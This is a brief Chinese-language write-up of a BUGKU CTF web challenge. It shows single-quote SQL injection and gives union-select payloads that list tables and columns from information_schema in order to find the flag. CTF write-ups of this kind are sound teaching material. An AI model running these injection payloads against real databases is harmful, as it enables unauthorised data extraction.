BUGKU_CTF WEB 20题writeup
首先知道该页面存在sql注入漏洞。
先判断是否存在注入点。发现是单引号闭合注入。
通过页面回显信息判断当前列数
判断页面中可以回显的点
爆库名
使用命令：0’ union select table_name,2,3,4 from information_schema.tables where table_schema=‘skctf_flag’#爆表名
使用命令‘：0’ union select column_name,2,3,4 from information_schema.columns where table_name=‘fl4g’#
成功拿到列名